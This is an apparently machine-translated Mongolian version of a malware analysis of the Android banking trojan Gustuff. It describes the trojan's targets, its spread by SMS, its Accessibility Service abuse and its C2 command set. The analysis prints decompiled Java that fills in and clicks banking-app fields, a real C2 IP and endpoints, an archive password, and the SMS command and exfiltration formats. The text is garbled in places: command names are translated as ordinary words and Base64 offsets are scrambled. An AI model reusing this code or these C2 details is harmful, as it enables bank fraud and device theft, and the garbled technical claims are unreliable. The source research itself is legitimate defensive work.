Android Trojan Gustuff нь таны данснаас тосыг (fiat болон crypto) хэрхэн арилгадаг вэ

Android Trojan Gustuff нь таны данснаас тосыг (fiat болон crypto) хэрхэн арилгадаг вэ

Дөнгөж сая Групп-IB мэдээлсэн гар утасны Android Trojan Gustuff-ийн үйл ажиллагааны талаар. Энэ нь зөвхөн олон улсын зах зээл дээр ажилладаг бөгөөд гадаадын хамгийн том 100 банкны үйлчлүүлэгчид, гар утасны 32 крипто хэтэвч хэрэглэгчид, түүнчлэн цахим худалдааны томоохон эх үүсвэрүүдийг дайрдаг. Харин Gustuff-ийн хөгжүүлэгч нь Бестоффер хочтой орос хэлээр ярьдаг кибер гэмт хэрэгтэн юм. Саяхныг хүртэл тэрээр өөрийн Трояныг "мэдлэг, туршлагатай хүмүүст зориулсан ноцтой бүтээгдэхүүн" гэж магтаж байсан.

Групп-IB дахь хортой кодын шинжилгээний мэргэжилтэн Иван Писарев Тэрээр судалгаандаа Gustuff хэрхэн ажилладаг, ямар аюул заналхийлдэг талаар дэлгэрэнгүй ярьдаг.

Gustuff хэнийг хайж байна вэ?

Gustuff нь бүрэн автомат ажиллагаатай шинэ үеийн хортой программ юм. Хөгжүүлэгчийн хэлснээр троян нь 2017 оны арваннэгдүгээр сараас эхлэн олон улсын нэр хүндтэй банк, төлбөрийн системийн гар утасны программ мэтээр халхалсан фишинг вэб маягтаар дамжуулан Android утаснууд руу халдаж, мөнгө хулгайлж байгаа AndyBot вирусын шинэ, сайжруулсан хувилбар болжээ. Bestoffer Gustuff Bot-ийн түрээсийн үнэ сард 800 доллар байсан гэж мэдээлэв.

Gustuff-ийн түүврийн дүн шинжилгээ нь Троян нь Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, түүнчлэн крипто түрийвч зэрэг томоохон банкуудын гар утасны программуудыг ашиглан үйлчлүүлэгчдэд чиглэсэн байж болзошгүйг харуулсан. Bitcoin Wallet, BitPay, Cryptopay, Coinbase гэх мэт.

Анх сонгодог банкны троян хэлбэрээр бүтээгдсэн бөгөөд одоогийн хувилбарт Gustuff нь халдлагад өртөж болзошгүй байнуудын жагсаалтыг нэлээд өргөжүүлсэн. Gustuff нь банкууд, финтек компаниуд, крипто үйлчилгээнд зориулсан Android программуудаас гадна зах зээлийн хэрэглээний программууд, онлайн дэлгүүрүүд, төлбөрийн системүүд болон шуурхай мессенжерүүдийн хэрэглэгчдэд зориулагдсан юм. Ялангуяа PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut болон бусад.

Нэвтрэх цэг: олон нийтийн халдварын тооцоо

Gustuff нь APK файлуудын холбоос бүхий SMS шуудангаар дамжуулан Android ухаалаг гар утсанд нэвтрэх "сонгодог" вектороор тодорхойлогддог. Андройд төхөөрөмж серверийн тушаалаар троянаар халдварлагдсан тохиолдолд Gustuff халдвар авсан утасны холбоо барих мэдээллийн сан эсвэл серверийн мэдээллийн сангаар дамжин тархаж болзошгүй. Gustuff-ийн үйл ажиллагаа нь олон нийтэд халдварлах, операторуудын бизнесийг хамгийн их хөрөнгөжүүлэхэд зориулагдсан бөгөөд энэ нь хууль ёсны мобайл банкны програмууд болон крипто түрийвчийг автоматаар дүүргэх өвөрмөц функцтэй бөгөөд энэ нь мөнгө хулгайлах үйлдлийг хурдасгах, өргөжүүлэх боломжийг олгодог.

Трояны судалгаагаар хөгжлийн бэрхшээлтэй хүмүүст зориулсан Accessibility Service-ийг ашиглан автоматаар бөглөх функцийг хэрэгжүүлсэн болохыг харуулсан. Gustuff нь энэхүү Андройд үйлчилгээг ашиглан бусад програмын цонхны элементүүдтэй харилцахаас хамгаалах хамгаалалтыг амжилттай давсан анхны Троян биш юм. Гэсэн хэдий ч Хүртээмжийн үйлчилгээг автомашины дүүргэгчтэй хослуулан ашиглах нь нэлээд ховор хэвээр байна.

Хохирогчийн утсанд татаж авсны дараа Gustuff Хүртээмжийн үйлчилгээг ашиглан бусад програмын цонхны элементүүдтэй (банк, криптовалют, түүнчлэн онлайн худалдаа хийх, мессеж илгээх гэх мэт програмууд) харилцаж, халдагчдад шаардлагатай үйлдлүүдийг хийх боломжтой болсон. . Жишээлбэл, серверийн тушаалаар троян нь товчлууруудыг дарж, банкны программ дахь текст талбаруудын утгыг өөрчлөх боломжтой. Хүртээмжтэй үйлчилгээний механизмыг ашигласнаар троян нь өмнөх үеийн гар утасны троянуудтай тэмцэхийн тулд банкуудын ашигладаг аюулгүй байдлын механизмыг тойрч гарах, мөн Android үйлдлийн системийн шинэ хувилбаруудад Google-ийн хэрэгжүүлсэн аюулгүй байдлын бодлогын өөрчлөлтийг даван туулах боломжийг олгодог. Тиймээс Gustuff нь Google Protect хамгаалалтыг хэрхэн идэвхгүй болгохыг "мэддэг": зохиогчийн хэлснээр энэ функц нь тохиолдлын 70% -д ажилладаг.

Android Trojan Gustuff нь таны данснаас тосыг (fiat болон crypto) хэрхэн арилгадаг вэ

Gustuff нь хууль ёсны гар утасны програмын дүрс бүхий хуурамч PUSH мэдэгдлийг харуулах боломжтой. Хэрэглэгч PUSH мэдэгдэл дээр дарж серверээс татаж авсан фишинг цонхыг харж, хүссэн банкны карт эсвэл крипто түрийвчний өгөгдлийг оруулна. Gustuff-ийн өөр хувилбарт PUSH мэдэгдлийг харуулсан програм нээгдэнэ. Энэ тохиолдолд тус хортой програм нь Хүртээмжийн үйлчилгээгээр дамжуулан серверээс өгсөн тушаалын дагуу залилангийн гүйлгээ хийх банкны програмын маягтын талбаруудыг бөглөж болно.

Gustuff-ийн функцэд халдвартай төхөөрөмжийн талаарх мэдээллийг сервер рүү илгээх, SMS мессеж унших/илгээх, USSD хүсэлт илгээх, SOCKS5 прокси ажиллуулах, холбоосыг дагаж файл илгээх (баримт бичгийн сканнердсан зураг, дэлгэцийн агшин, гэрэл зураг гэх мэт) орно. сервер , төхөөрөмжийг үйлдвэрийн тохиргоонд дахин тохируулна уу.

Хортой програмын шинжилгээ

Хортой програм суулгахын өмнө Android үйлдлийн систем нь хэрэглэгчдэд Gustuff-ийн хүссэн эрхийн жагсаалтыг агуулсан цонхыг харуулдаг.

Android Trojan Gustuff нь таны данснаас тосыг (fiat болон crypto) хэрхэн арилгадаг вэ
Програмыг хэрэглэгчийн зөвшөөрлийг авсны дараа л суулгана. Програмыг ажиллуулсны дараа Trojan хэрэглэгчдэд дараах цонхыг харуулах болно.

Android Trojan Gustuff нь таны данснаас тосыг (fiat болон crypto) хэрхэн арилгадаг вэ
Үүний дараа энэ нь түүний дүрсийг арилгах болно.

Gustuff-ийг зохиогчийн хэлснээр FTT-ийн савлагч савласан байна. Ашиглаж эхэлсний дараа програм нь команд хүлээн авахын тулд CnC сервертэй үе үе холбогддог. Бидний шалгасан хэд хэдэн файлууд IP хаягийг хяналтын сервер болгон ашигласан 88.99.171[.]105 (цаашид бид үүнийг гэж тэмдэглэнэ <%CnC%>).

Ажилласны дараа програм сервер рүү мессеж илгээж эхэлнэ http://<%CnC%>/api/v1/get.php.

Хариулт нь дараах форматтай JSON байх төлөвтэй байна:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Аппликейшнд хандах бүртээ халдвар авсан төхөөрөмжийн талаарх мэдээллийг илгээдэг. Зурвасын форматыг доор харуулав. Энэ нь талбайнууд гэдгийг тэмдэглэх нь зүйтэй бүрэн, нэмэлт, апп-ууд и зөвшөөрөл – сонголттой бөгөөд зөвхөн CnC-ээс хүсэлтийн командын үед л илгээгдэнэ.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Тохиргооны өгөгдлийг хадгалах

Gustuff нь үйл ажиллагааны чухал мэдээллийг сонголтын файлд хадгалдаг. Файлын нэр, түүний доторх параметрүүдийн нэр нь мөрөөс MD5 нийлбэрийг тооцоолсны үр дүн юм. 15413090667214.6.1<%name%>хаана <%name%> - анхны нэр-утга. Нэр үүсгэх функцийн Python тайлбар:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Дараах зүйлд бид үүнийг гэж тэмдэглэх болно nameGenerator(оролт).
Тиймээс эхний файлын нэр нь: nameGenerator("API_SERVER_LIST"), энэ нь дараах нэртэй утгуудыг агуулна:

Хувьсагчийн нэр үнэ цэнэ
nameGenerator("API_SERVER_LIST") Массив хэлбэрээр CnC хаягуудын жагсаалтыг агуулна.
nameGenerator("API_SERVER_URL") CnC хаягийг агуулна.
nameGenerator("SMS_UPLOAD") Туг нь анхдагчаар тохируулагдсан байдаг. Хэрэв туг тавьсан бол CnC руу SMS мессеж илгээдэг.
nameGenerator("SMS_ROOT_NUMBER") Халдвар авсан төхөөрөмжөөс ирсэн SMS мессежийг илгээх утасны дугаар. Өгөгдмөл нь хоосон байна.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Анхдагчаар далбаа арилдаг. Хэрэв суулгасан бол халдвар авсан төхөөрөмж SMS хүлээн авах үед үндсэн дугаар руу илгээгдэх болно.
nameGenerator("DEFAULT_APP_SMS") Анхдагчаар далбаа арилдаг. Хэрэв энэ тугийг тохируулсан бол програм нь ирж буй SMS мессежийг боловсруулах болно.
nameGenerator("DEFAULT_ADMIN") Анхдагчаар далбаа арилдаг. Хэрэв тугийг тохируулсан бол програм нь администраторын эрхтэй.
nameGenerator("DEFAULT_ACCESSIBILITY") Анхдагчаар далбаа арилдаг. Хэрэв тугийг тохируулсан бол Хүртээмжийн үйлчилгээг ашигладаг үйлчилгээ ажиллаж байна.
nameGenerator("APPS_CONFIG") Тодорхой програмтай холбоотой Хүртээмжийн үйл явдал идэвхжсэн үед гүйцэтгэх ёстой үйлдлүүдийн жагсаалтыг агуулсан JSON объект.
nameGenerator("APPS_INSTALLED") Төхөөрөмж дээр суулгасан програмуудын жагсаалтыг хадгалдаг.
nameGenerator("IS_FIST_RUN") Эхний эхлэлд туг шинэчлэгддэг.
nameGenerator("UNIQUE_ID") Өвөрмөц танигч агуулсан. Ботыг анх удаа эхлүүлэх үед үүсгэгддэг.

Серверээс тушаалуудыг боловсруулах модуль

Програм нь CnC серверүүдийн хаягийг кодчилсон массив хэлбэрээр хадгалдаг Суурь85 шугамууд. Тохирох командыг хүлээн авснаар CnC серверүүдийн жагсаалтыг өөрчлөх боломжтой бөгөөд энэ тохиолдолд хаягууд нь сонголтын файлд хадгалагдах болно.

Хүсэлтийн хариуд сервер програм руу тушаал илгээдэг. Командууд болон параметрүүдийг JSON форматаар харуулсан гэдгийг тэмдэглэх нь зүйтэй. Аппликешн нь дараах тушаалуудыг боловсруулах боломжтой.

баг Тайлбар
урагш эхлүүлэх Халдвар авсан төхөөрөмжөөс ирсэн SMS мессежийг CnC сервер рүү илгээж эхлээрэй.
урагш зогсоох Халдвар авсан төхөөрөмжөөс ирсэн SMS мессежийг CnC сервер рүү илгээхээ боль.
ussdRun USSD хүсэлтийг гүйцэтгэнэ. Таны USSD хүсэлт гаргах шаардлагатай дугаар нь JSON талбарын "тоо" хэсэгт байрлана.
SMS илгээх Нэг SMS мессеж илгээх (шаардлагатай бол мессежийг хэсэг болгон хуваана). Параметрийн хувьд тушаал нь "to" талбаруудыг агуулсан JSON объектыг авдаг - очих газрын дугаар ба "бие" - мессежийн үндсэн хэсэг.
sendSmsAb Халдвар авсан төхөөрөмжийн холбоо барих жагсаалтад байгаа бүх хүнд SMS мессеж илгээ (шаардлагатай бол мессежийг хэсэг болгон хуваана). Зурвас илгээх хоорондын зай 10 секунд байна. Зурвасын үндсэн хэсэг нь JSON талбарт "бие" байна.
sendSmsMass Командын параметрт заасан харилцагчид руу SMS мессеж илгээх (шаардлагатай бол мессежийг хэсэг болгон хуваах). Зурвас илгээх хоорондын зай 10 секунд байна. Параметрийн хувьд тушаал нь JSON массивыг ("sms" талбар) авдаг бөгөөд тэдгээрийн элементүүд нь "to" талбаруудыг агуулдаг - очих газрын дугаар ба "бие" - мессежийн үндсэн хэсэг.
серверийг өөрчлөх Энэ тушаал нь "url" түлхүүр бүхий утгыг параметр болгон авч болно - дараа нь bot nameGenerator("SERVER_URL") эсвэл "массив"-ийн утгыг өөрчлөх болно - дараа нь bot массивыг nameGenerator ("API_SERVER_LIST") руу бичих болно. Тиймээс програм нь CnC серверүүдийн хаягийг өөрчилдөг.
админ дугаар Энэ тушаал нь үндсэн дугаартай ажиллахад зориулагдсан. Тус тушаал нь дараах параметр бүхий JSON объектыг хүлээн авдаг: “number” — nameGenerator(“ROOT_NUMBER”) хүлээн авсан утгыг өөрчлөх, “дахин илгээх” — нэрийг өөрчлөх(“SMS_ROOT_NUMBER_RESEND”), “sendId” — nameGenerator(“ROOT_NUMBER”) руу илгээх. ) өвөрмөц ID.
Мэдээллийг шинэчлэх Халдвар авсан төхөөрөмжийн талаарх мэдээллийг сервер рүү илгээнэ үү.
мэдээллийг арчина Энэ тушаал нь хэрэглэгчийн өгөгдлийг устгах зорилготой юм. Аппликешныг ямар нэрээр эхлүүлсэнээс хамааран төхөөрөмжийг дахин ачаалснаар өгөгдөл бүрэн устдаг (үндсэн хэрэглэгч), эсвэл зөвхөн хэрэглэгчийн өгөгдлийг устгадаг (хоёрдогч хэрэглэгч).
оймс Эхлэх Прокси модулийг ажиллуулна уу. Модулийн ажиллагааг тусдаа хэсэгт тайлбарласан болно.
оймсStop Прокси модулийг зогсоо.
нээлттэй холбоос Холбоосыг дагана уу. Холбоос нь "url" товчлуурын доор JSON параметрт байрладаг. Холбоосыг нээхийн тулд "android.intent.action.VIEW"-г ашиглана уу.
AllSms-г байршуулах Төхөөрөмжөөс хүлээн авсан бүх SMS мессежийг сервер рүү илгээнэ үү.
AllPhotos Халдвар авсан төхөөрөмжөөс зургийг URL руу илгээнэ үү. URL нь параметр хэлбэрээр ирдэг.
файлыг байршуулах Халдвар авсан төхөөрөмжөөс URL руу файл илгээх. URL нь параметр хэлбэрээр ирдэг.
Утасны дугаарыг байршуулах Холбоо барих жагсаалтаас утасны дугаараа сервер рүү илгээнэ үү. Хэрэв "ab" түлхүүр бүхий JSON объектын утгыг параметр болгон хүлээн авбал програм утасны номноос харилцагчдын жагсаалтыг хүлээн авна. Хэрэв "sms" түлхүүр бүхий JSON объектыг параметр болгон хүлээн авбал програм нь SMS мессеж илгээгчээс харилцагчдын жагсаалтыг уншдаг.
Архивыг өөрчлөх Програм нь "url" товчлуурыг ашиглан файлыг параметр болгон ирдэг хаягаас татаж авдаг. Татаж авсан файлыг “archive.zip” нэрээр хадгална. Дараа нь програм нь "b5jXh37gxgHBrZhQ4j3D" архивын нууц үгийг ашиглан файлыг задлах болно. Задлуулсан файлуудыг [external storage]/hgps санд хадгална. Энэ лавлахад програм нь вэб хуурамч мэдээллийг хадгалдаг (доор тайлбарласан).
нөөц Тус команд нь Action Service-тэй ажиллахад зориулагдсан бөгөөд үүнийг тусдаа хэсэгт тайлбарласан болно.
туршилтын Юу ч хийхгүй.
татаж авах Энэ тушаал нь алсын серверээс файл татаж аваад "Татаж авах" санд хадгалахад зориулагдсан. URL болон файлын нэр нь JSON параметрийн объектын "url" ба "fileName" талбаруудын хувьд параметр хэлбэрээр ирдэг.
арилгах "Татаж авах" лавлахаас файлыг устгана. Файлын нэр нь JSON параметрт "fileName" түлхүүрээр ирдэг. Стандарт файлын нэр нь "tmp.apk" юм.
мэдэгдэл Удирдлагын серверээс тодорхойлсон тайлбар, гарчгийн бичвэр бүхий мэдэгдлийг харуулах.

Тушаалын формат мэдэгдэл:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Шалгаж буй файлын үүсгэсэн мэдэгдэл нь талбарт заасан програмын үүсгэсэн мэдэгдэлтэй ижил харагдаж байна. програм. Хэрэв талбарын утга openApp - Үнэн бол мэдэгдэл нээгдэх үед талбарт заасан програмыг ажиллуулдаг програм. Хэрэв талбарын утга openApp - Худлаа, тэгвэл:

  • Фишинг хийх цонх нээгдэж, агуулгыг нь лавлахаас татаж авдаг <%гадаад санах ой%>/hgps/<%файлын нэр%>
  • Фишинг хийх цонх нээгдэж, агуулгыг нь серверээс татаж авдаг <%url%>?id=<%Bot id%>&app=<%Програмын нэр%>
  • Google Play картын дүрд хувирсан фишинг цонх нээгдэж, картын дэлгэрэнгүй мэдээллийг оруулах боломжтой.

Програм нь дурын командын үр дүнг илгээдэг <%CnC%>set_state.php дараах форматаар JSON объект болгон:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Хэрэглээний процесст багтсан командуудын жагсаалт үйл ажиллагаа. Тушаал хүлээн авах үед тушаал боловсруулах модуль нь өргөтгөсөн тушаалыг гүйцэтгэхийн тулд энэ үйлчилгээнд ханддаг. Үйлчилгээ нь JSON объектыг параметр болгон хүлээн авдаг. Үйлчилгээ нь дараах тушаалуудыг гүйцэтгэж болно.

1. PARAMS_ACTION — ийм тушаалыг хүлээн авах үед үйлчилгээ эхлээд JSON параметрээс Type товчлуурын утгыг хүлээн авдаг бөгөөд энэ нь дараах байдалтай байж болно.

  • үйлчилгээний мэдээлэл – дэд команд нь JSON параметрээс утгыг түлхүүрээр авдаг оруулахАч холбогдолгүй. Хэрэв туг нь Үнэн байвал програм нь тугийг тохируулна ТУЦГАЙ_ТУСГААРСАН_ПРОЦЕСС Хүртээмжийн үйлчилгээг ашиглан үйлчилгээ рүү. Ингэснээр үйлчилгээг тусдаа процессоор эхлүүлэх болно.
  • эх - одоогоор анхаарал хандуулж байгаа цонхны талаарх мэдээллийг хүлээн авч сервер рүү илгээх. Аппликешн нь AccessibilityNodeInfo анги ашиглан мэдээлэл авдаг.
  • админ - администраторын эрхийг хүсэх.
  • саатал — “өгөгдөл” түлхүүрийн параметрт заасан миллисекундын тоогоор ActionsService-ийг түр зогсоо.
  • цонх — хэрэглэгчдэд харагдах цонхнуудын жагсаалтыг илгээх.
  • Суулгах - халдвар авсан төхөөрөмж дээр програм суулгах. Архивын багцын нэр нь "fileName" товчлуур дээр байна. Архив өөрөө Татаж авсан лавлах хэсэгт байрладаг.
  • Дэлхий нийтийн – дэд команд нь одоогийн цонхноос шилжих зорилготой:
    • Түргэн тохиргооны цэс дээр
    • буцах
    • гэр
    • мэдэгдэл рүү
    • саяхан нээгдсэн програмын цонхонд

  • эхлэх - програмыг ажиллуул. Програмын нэр нь түлхүүрээр параметр хэлбэрээр ирдэг мэдээ.
  • дуу — дууны горимыг чимээгүй болгож өөрчлөх.
  • түгжээ — дэлгэц болон гарны арын гэрлийг бүрэн гэрэлтүүлэхэд асаана. Аппликешн нь WakeLock ашиглан энэ үйлдлийг гүйцэтгэдэг бөгөөд [Application lable]:INFO мөрийг шошго болгон зааж өгдөг.
  • permissionOverlay — функц хэрэгжээгүй байна (командын гүйцэтгэлийн хариу нь {"message":"Not support"} эсвэл {"message":"low sdk"})
  • дохио — функц хэрэгжээгүй байна (тушаалын гүйцэтгэлийн хариу нь {"message":"Not support"}эсвэл {"message":"Low API"})
  • зөвшөөрөл - энэ тушаал нь програмын зөвшөөрөл хүсэхэд шаардлагатай. Гэсэн хэдий ч query функц хэрэгжээгүй тул тушаал нь утгагүй болно. Хүссэн эрхийн жагсаалт нь "зөвшөөрөл" түлхүүр бүхий JSON массив хэлбэрээр ирдэг. Стандарт жагсаалт:
    • android.зөвшөөрөл.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.зөвшөөрөл.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.зөвшөөрөл.SEND_SMS
    • android.зөвшөөрөл.READ_SMS
    • android.зөвшөөрөл.READ_EXTERNAL_STORAGE
    • android.зөвшөөрөл.WRITE_EXTERNAL_STORAGE

  • нээлттэй — фишинг цонхыг харуулах. Серверээс ирж буй параметрээс хамааран програм нь дараах фишинг цонхыг харуулж болно:
    • Сангийн файлд агуулгыг нь бичсэн фишинг цонхыг харуул <%гадаад лавлах%>/hgps/<%param_filename%>. Хэрэглэгчийн цонхтой харьцсан үр дүнг илгээх болно <%CnC%>/records.php
    • Агуулга нь хаягаас урьдчилан ачаалагдсан фишинг цонхыг харуул <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Хэрэглэгчийн цонхтой харьцсан үр дүнг илгээх болно <%CnC%>/records.php
    • Google Play картын дүрд хувирсан фишинг цонхыг харуул.

  • интерактив — тушаал нь AcessibilityService ашиглан бусад програмын цонхны элементүүдтэй харилцах зориулалттай. Харилцааны хөтөлбөрт тусгай үйлчилгээг нэвтрүүлсэн. Шалгаж буй програм нь цонхтой харилцах боломжтой:
    • Одоогоор идэвхтэй. Энэ тохиолдолд параметр нь таны харилцах шаардлагатай объектын id эсвэл текстийг (нэр) агуулна.
    • Командыг гүйцэтгэх үед хэрэглэгчдэд харагдана. Програм нь цонхыг id-ээр нь сонгоно.

    Хүлээн авсан объектууд AccessibilityNodeInfo Сонирхсон цонхны элементүүдийн хувьд програм нь параметрээс хамааран дараахь үйлдлүүдийг хийж болно.

    • фокус - объект руу анхаарлаа төвлөрүүл.
    • дарна уу - объект дээр дарна уу.
    • actionId — ID-ээр үйлдлийг гүйцэтгэнэ.
    • setText — объектын текстийг өөрчлөх. Текстийг өөрчлөх нь хоёр аргаар боломжтой: үйлдэл хийх ACTION_SET_TEXT (Хэрэв халдвар авсан төхөөрөмжийн Android хувилбар нь түүнээс бага эсвэл тэнцүү бол ЛОЛЛИПОП), эсвэл санах ойд тэмдэгт мөр байрлуулж, объект руу буулгах (хуучин хувилбаруудын хувьд). Энэ командыг банкны програмын өгөгдлийг өөрчлөхөд ашиглаж болно.

2. PARAMS_ACTIONS - адил PARAMS_ACTION, зөвхөн JSON массив тушаал ирдэг.

Өөр програмын цонхны элементүүдтэй харьцах функц ямар байхыг олон хүмүүс сонирхож байх шиг байна. Gustuff-д энэ функцийг ингэж хэрэгжүүлдэг:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Текст солих функц:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Ийнхүү хяналтын серверийн зөв тохиргоог хийснээр Gustuff нь банкны програмын текст талбаруудыг бөглөж, гүйлгээг дуусгахад шаардлагатай товчлуурууд дээр дарах боломжтой. Троян нь програм руу нэвтрэх шаардлагагүй - PUSH мэдэгдлийг харуулах тушаалыг илгээж, өмнө нь суулгасан банкны програмыг нээхэд хангалттай. Хэрэглэгч өөрөө өөрийгөө баталгаажуулах бөгөөд үүний дараа Gustuff машинаа дүүргэх боломжтой болно.

SMS мессеж боловсруулах модуль

Уг програм нь халдвар авсан төхөөрөмжид SMS мессеж хүлээн авах үйл явдал зохицуулагчийг суулгадаг. Судалгаанд хамрагдаж буй програм нь SMS мессежийн хэсэгт ирдэг операторын тушаалуудыг хүлээн авах боломжтой. Командууд дараах форматаар ирдэг.

7!5=<%Base64 кодлогдсон тушаал%>

Аппликешн нь ирж буй бүх SMS мессежийн мөрийг хайдаг 7!5=, мөр илэрсэн үед 64-р офсет дээр Base4-аас мөрийг тайлж командыг гүйцэтгэдэг. Командууд нь CnC-тэй төстэй. Гүйцэтгэлийн үр дүнг тушаал ирсэн дугаар руу илгээнэ. Хариултын формат:

7*5=<%Base64 “үр дүнгийн_кодын команд”%> кодчилол

Сонголтоор програм нь хүлээн авсан бүх мессежийг Root дугаар руу илгээх боломжтой. Үүнийг хийхийн тулд үндсэн дугаарыг тохиргооны файлд зааж өгөх ёстой бөгөөд мессежийг дахин чиглүүлэх тугийг тохируулах шаардлагатай. Халдагчийн дугаарт дараах форматаар SMS мессеж илгээгдэнэ.

<%From number%> - <%Цаг, формат: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Мөн сонголтоор програм нь CnC рүү мессеж илгээх боломжтой. SMS мессежийг сервер рүү JSON форматаар илгээнэ:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Хэрэв туг байрлуулсан бол nameGenerator("DEFAULT_APP_SMS") – програм нь SMS мессежийг боловсруулахаа зогсоож, ирж буй мессежүүдийн жагсаалтыг арилгана.

Прокси модуль

Судалж буй програм нь тохиргоотой статик талбаруудыг агуулсан тусдаа ангитай Backconnect прокси модулийг (цаашид Прокси модуль гэх) агуулдаг. Тохиргооны өгөгдлийг жишээнд тодорхой хэлбэрээр хадгална:

Android Trojan Gustuff нь таны данснаас тосыг (fiat болон crypto) хэрхэн арилгадаг вэ

Прокси модулийн гүйцэтгэсэн бүх үйлдлүүд файлууд руу нэвтэрдэг. Үүнийг хийхийн тулд External Storage дахь програм нь бүртгэлийн файлуудыг хадгалдаг "логууд" (тохиргооны анги дахь ProxyConfigClass.logsDir талбар) нэртэй санг үүсгэдэг. Бүртгэл нь дараах нэртэй файлуудад тохиолддог:

  1. main.txt – CommandServer нэртэй ангийн ажил энэ файлд нэвтэрсэн байна. Дараах тохиолдолд str мөрийг энэ файлд оруулахыг mainLog(str) гэж тэмдэглэнэ.
  2. сесс-<%id%>.txt — энэ файл нь тодорхой прокси сесстэй холбоотой бүртгэлийн өгөгдлийг хадгалдаг. Дараах тохиолдолд str мөрийг энэ файлд бүртгэх нь sessionLog (str) гэж тэмдэглэгдэх болно.
  3. server.txt – энэ файлыг дээр дурдсан файлд бичигдсэн бүх өгөгдлийг бүртгэхэд ашигладаг.

Бүртгэлийн өгөгдлийн формат:

<%Огноо%> [Tread[<%thread id%>], id[]]: log-string

Прокси модулийг ажиллуулах явцад тохиолдох үл хамаарах зүйлүүд мөн файлд бүртгэгддэг. Үүнийг хийхийн тулд програм нь JSON объектыг дараах форматаар үүсгэдэг.

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

